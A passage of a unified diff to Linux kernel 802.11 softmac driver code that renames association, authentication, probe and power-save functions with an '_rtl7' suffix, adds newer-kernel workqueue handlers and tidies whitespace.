*ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct 